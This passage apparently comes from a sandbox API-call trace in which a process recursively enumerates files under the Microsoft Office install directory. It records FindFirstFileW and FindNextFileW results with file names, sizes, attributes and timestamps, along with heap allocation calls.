ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x573e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~1.XML")) returned 1 [0216.754] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP6206~1.XML")) returned 1 [0216.754] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfdea, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", cAlternateFileName="APD1EA~1.XML")) returned 1 [0216.754] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP6EFE~1.XML")) returned 1 [0216.754] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf98c485a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", cAlternateFileName="APB63F~1.XML")) returned 1 [0216.754] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", cAlternateFileName="APB913~1.XML")) returned 1 [0216.754] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP4637~1.XML")) returned 1 [0216.755] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x618a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP2FE2~1.XML")) returned 1 [0216.755] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP2C4B~1.XML")) returned 1 [0216.755] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", cAlternateFileName="APF00A~1.XML")) returned 1 [0216.755] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~2.XML")) returned 1 [0216.755] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP202C~1.XML")) returned 1 [0216.755] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", cAlternateFileName="APBC30~1.XML")) returned 1 [0216.755] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", cAlternateFileName="APCB35~1.XML")) returned 1 [0216.755] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP5E1E~1.XML")) returned 1 [0216.756] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x80e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~3.XML")) returned 1 [0216.756] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", cAlternateFileName="APE0B7~1.XML")) returned 1 [0216.756] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP8BF9~1.XML")) returned 1 [0216.756] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x212876, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.common.xml", cAlternateFileName="AP3FD6~1.XML")) returned 1 [0216.756] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2667, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifestLoc.en-us.xml", cAlternateFileName="AP942B~1.XML")) returned 1 [0216.756] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthoredExtensions.xml", cAlternateFileName="AUTHOR~1.XML")) returned 1 [0216.756] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthoredExtensions.xml", cAlternateFileName="AUTHOR~1.XML")) returned 0 [0216.756] FindClose (in: hFindFile=0x33e4968 | out: hFindFile=0x33e4968) returned 1 [0216.758] GetProcessHeap () returned 0xc10000 [0216.758] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0216.759] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0216.759] GetProcessHeap () returned 0xc10000 [0216.759] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0216.760] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0216.760] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.760] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="client", cAlternateFileName="")) returned 1 [0216.760] GetProcessHeap () returned 0xc10000 [0216.760] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0216.761] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0216.786] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.805] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0715cb9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0715cb9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0952017, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0216.805] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0952017, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0952017, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0a832cb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0216.805] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd089348e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd089348e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd09c4608, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0216.805] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd115de42, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd115de42, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd158a009, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="AP750A~1.DLL")) returned 1 [0216.805] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0d0baf0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0d0baf0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0eaf4e3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0216.805] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0c4cdf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0c4cdf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0df0820, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0216.806] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0c26cd1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0c26cd1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0e62fac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1 [0216.806] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd289cda7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd289cda7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2a1a592, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0216.806] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0b8e391, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0b8e391, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0d7e20c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0216.806] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0aa952a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0aa952a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0bda864, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0216.806] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0aa952a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0aa952a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0c99389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0216.806] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0af5a16, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0af5a16, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0c4cdf5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0216.806] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e086ac, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e086ac, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2365abe, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0216.806] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1137cdf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1137cdf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1d23858, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0216.807] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1006983, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1006983, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1242d5d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, 